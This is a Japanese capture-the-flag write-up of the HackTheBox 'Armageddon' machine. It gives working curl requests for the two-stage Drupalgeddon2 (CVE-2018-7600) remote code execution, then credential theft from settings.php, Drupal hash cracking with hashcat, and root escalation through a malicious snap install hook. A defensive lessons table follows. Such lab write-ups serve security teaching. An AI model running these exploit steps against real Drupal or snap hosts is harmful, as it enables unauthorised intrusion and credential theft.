HackTheBox: Armageddon — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http (Drupal 7)
→
22/ssh, 80/http (Drupal 7)
CVE-2018-7600
Drupalgeddon2 二段階RCE
→
Drupalgeddon2 二段階RCE
apacheユーザーでRCE
→
settings.php窃取
MySQL drupaluser資格情報
→
MySQL drupaluser資格情報
usersテーブル→Drupal7ハッシュ
hashcat -m 7900
→
hashcat -m 7900
SSH brucetherealadmin → user.txt ✓
→
sudo snap install *
悪意あるsnapパッケージ
→
悪意あるsnapパッケージ
installフック(root実行)
root.txtコピー
→
root.txtコピー
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.48.89 nmap -sV -sC -p 22,80 10.129.48.89
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) 80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
CMS特定とrobots.txt
BASH
curl -sI http://10.129.48.89/ curl -s http://10.129.48.89/robots.txt
RESULT (本検証の実際の出力)
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
X-Generator: Drupal 7 (http://drupal.org)
(robots.txt)
Disallow: /includes/
Disallow: /misc/
Disallow: /modules/
...
Disallow: /CHANGELOG.txt
Disallow: /user/password/
Disallow: /?q=user/password/
...
🚨
重要発見: レスポンスヘッダー
X-Generatorと
robots.txtの内容(/user/password/等のDrupal特有パスを
多数Disallow)から、Drupal 7が稼働していることが
確定できる。CHANGELOG.txtを取得すればバージョンも
特定可能だが、Drupal 7系であれば既知の重大RCE脆弱性
CVE-2018-7600(通称Drupalgeddon2)をまず疑うべき。
PHASE 2
CVE-2018-7600 (Drupalgeddon2) — Forms API 二段階RCE
脆弱性の仕組み
NOTE
Drupal 7のForms APIレンダリング機構には、特定のフォーム要素プロパティ (#post_render、#markup、#type等)をユーザー入力からの配列キーとして 受け取ってしまう設計上の不備があり、未認証のパスワードリセットフォーム (user/password)経由で任意のPHPコールバック関数(passthru等)を 呼び出せてしまう。レスポンス自体には実行結果が直接含まれないため、 2段階の処理(①パラメータ注入でフォームを送信しform_build_idを取得、 ②そのform_build_idを使ってAJAXコールバックを呼び出し実際に コールバックを発火させ結果を取得)が必要。
BASH (Step 1: フォーム送信してform_build_idを取得)
curl -s -X POST "http://10.129.48.89/?q=user/password" \ --data-urlencode "form_id=user_pass" \ --data-urlencode "_triggering_element_name=name" \ --data-urlencode "name[#post_render][]=passthru" \ --data-urlencode "name[#markup]=id" \ --data-urlencode "name[#type]=markup"
RESULT (抜粋)
<input type="hidden" name="form_build_id" value="form-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" />
BASH (Step 2: form_build_idを使いAJAXコールバックを発火)
curl -s -X POST \ "http://10.129.48.89/?q=file/ajax/name/%23value/form-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" \ --data-urlencode "form_build_id=form-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
RESULT (JSONレスポンスのdataフィールド内に実行結果)
[..., {"command":"...", "data":"uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0", ...}]
✅
RCE成功!
apacheユーザー(SELinux文脈
httpd_t)としてOSコマンドが実行できた。
⚠️
実装上の注意: コールバック関数には
execではなく
必ずpassthruを使うこと。PHPのexec()は
標準出力の最後の1行しか返さないが、
passthru()は出力を全てそのまま標準出力へ流すため、
複数行の出力(例: ファイル全体のcat結果)も漏れなく取得できる。
PHASE 3
settings.php窃取 & DBハッシュクラック — user.txt取得
Drupal設定ファイルからDB資格情報を取得
BASH (Phase2のRCE手順をcat用に使い回す、コマンドのみ変更)
# passthru の #markup に以下を指定 cat /var/www/html/sites/default/settings.php
RESULT (本検証の実際の出力より抜粋)
$databases = array(
'default' =>
array(
'default' =>
array(
'database' => 'drupal',
'username' => 'drupaluser',
'password' => 'CQHEy@9M*m23gBVj',
'host' => 'localhost',
),
),
);
MySQLからユーザーハッシュを取得
BASH (同様にRCE経由で実行)
mysql -u drupaluser -p'CQHEy@9M*m23gBVj' drupal \ -e "select name,pass from users where uid=1"
RESULT (本検証の実際の出力)
name pass
brucetherealadmin $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt
ℹ️
Drupal 7独自のパスワードハッシュ形式(
$S$プレフィックス、
強化版phpass)。hashcatではモード7900(Drupal7)を
指定してクラックする。
hashcatでクラック & SSHログイン
BASH
echo '$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt' > hash.txt hashcat -m 7900 hash.txt /usr/share/wordlists/rockyou.txt hashcat -m 7900 hash.txt --show
RESULT
$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt:booboo
BASH
sshpass -p 'booboo' ssh brucetherealadmin@10.129.48.89 \ "cat /home/brucetherealadmin/user.txt"
RESULT
ae765222de681f0fd0b34b2705c56266
user.txt — brucetherealadmin
ae765222de681f0fd0b34b2705c56266
PHASE 4
sudo snap install の悪用 — root.txt取得
sudo権限の確認
BASH
sudo -l
RESULT (本検証の実際の出力)
User brucetherealadmin may run the following commands on armageddon:
(root) NOPASSWD: /usr/bin/snap install *
🚨
重要発見:
snap installを任意の引数で
パスワード無しのroot権限で実行できる。Snapパッケージは
インストール時にmeta/hooks/installという
インストールフックスクリプトを自動実行する仕組みを
持っており、このフック自体をroot権限で実行させられる。
悪意あるSnapパッケージの構築
NOTE
Snapパッケージは squashfs 形式のアーカイブ。以下のディレクトリ構造を
作り mksquashfs で.snapファイルへパッケージングする:
snap-user/
├── meta/
│ ├── snap.yaml
│ └── hooks/
│ └── install (実行権限755必須)
重要な落とし穴:
- ビルド用の作業ディレクトリ自体を chmod 755 しておく必要がある
(mkdtemp()が作る既定の700権限のままだとsnapdが
"bad permissions" エラーで拒否する)
- install フックは chmod 755 で実行可能にする
- devmodeでインストールしたsnapのフックは/tmp が名前空間分離されて
見えないため、出力はユーザーのホームディレクトリへ書く
- snap.yaml に parts: キーは不要(それはsnapcraftのビルド用メタデータ
であり、snapdのランタイムには関係ない)
BASH (meta/snap.yaml の内容)
name: snap-user version: '0.1' summary: pwn description: pwn grade: devel confinement: devmode
BASH (meta/hooks/install の内容)
#!/bin/bash cp /root/root.txt /home/brucetherealadmin/r00t.txt chmod 644 /home/brucetherealadmin/r00t.txt
BASH (ビルド、本検証で実際に使用したコマンド)
mkdir -p snap-user/meta/hooks # snap.yaml / install フックをそれぞれ配置 chmod 755 snap-user # ← 作業ディレクトリのパーミッションが重要 chmod 755 snap-user/meta/hooks/install mksquashfs snap-user evil.snap -noappend
snapのアップロード & インストール
BASH (SCPでsnapファイルをターゲットへ転送)
scp evil.snap brucetherealadmin@10.129.48.89:/home/brucetherealadmin/evil.snap
BASH (SSHシェル上でインストール実行)
sudo /usr/bin/snap install --devmode /home/brucetherealadmin/evil.snap
RESULT (本検証の実際の出力)
snap-user 0.1 installed
BASH
cat /home/brucetherealadmin/r00t.txt
RESULT (本検証の実際の出力)
84da937cc9d2ab2b1c8d73d7b2f0b271
✅
root化成功! snapインストール処理中に
meta/hooks/installがroot権限で実行され、
/root/root.txtがbrucetherealadminが読める
パスへコピーされた。
root.txt — sudo snap install インストールフック悪用
84da937cc9d2ab2b1c8d73d7b2f0b271
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — brucetherealadmin
ae765222de681f0fd0b34b2705c56266
root.txt — sudo snap install インストールフック悪用
84da937cc9d2ab2b1c8d73d7b2f0b271
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2018-7600 (Drupalgeddon2) | Drupal 7.x (Forms API) | 未認証リモートコード実行 (apacheユーザー) | Critical | user/passwordフォームへの#post_render等の配列キー注入で二段階RCE |
| 設定ファイルの平文DBパスワード | sites/default/settings.php | データベース資格情報の窃取 | High | RCE経由でファイルを読取り、MySQLのusersテーブルハッシュを取得 |
| sudo無制限のsnap install | /usr/bin/snap install * (brucetherealadmin, NOPASSWD) | 権限昇格 (root) | Critical | インストールフック(meta/hooks/install)にroot実行されるコマンドを仕込んだ悪意あるsnapパッケージを構築・インストール |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap, X-Generatorヘッダー, robots.txt | 22/ssh, 80/http (Drupal 7) |
| 2 | RCE | CVE-2018-7600 二段階Forms API RCE | apacheユーザーでのコマンド実行 |
| 3 | 資格情報窃取+横移動 | settings.php → MySQL → hashcat → SSH | user.txt (brucetherealadmin) |
| 4 | 権限昇格 | sudo snap install 悪意あるインストールフック | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 未パッチの古いDrupal 7が稼働し、公開から日の浅い重大CVEに対して脆弱 | Drupalを含む全CMSを定期的に最新セキュリティパッチへ更新するプロセスを導入する。CVE公開後は速やかな緊急パッチ適用を徹底する。 |
| データベース接続パスワードが設定ファイルに平文で保存されている | 環境変数やシークレット管理サービスを利用し、設定ファイルへ平文パスワードを直接書かない。 |
| 一般ユーザーがsudoでsnap installを無制限に実行できる(任意パッケージのインストールフックがroot実行される) | sudo権限は信頼できる特定のsnapパッケージ名・ソースに限定する。`snap install`のような汎用パッケージ管理コマンドの無制限sudo許可は避ける。 |

